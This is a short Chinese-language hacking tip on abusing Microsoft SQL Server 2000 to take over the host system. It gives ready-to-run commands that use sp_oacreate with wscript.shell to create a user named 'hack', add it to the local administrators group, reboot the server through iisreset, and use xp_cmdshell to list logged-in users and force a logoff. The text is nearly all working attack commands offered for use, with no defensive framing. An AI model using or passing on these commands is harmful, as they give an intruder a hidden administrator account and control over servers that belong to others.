巧用SQL2000建立系统帐户

加帐号和密码

declare @cmd INT exec sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true' 

加入超级管理员

declare @cmd INT exec sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true'

重启计算机

iisreset.exe /reboot

 

查找用户。 注销用户

declare @cmd INT
 
exec xp_cmdshell 'quser'  Exec xp_cmdshell 'logoff 2'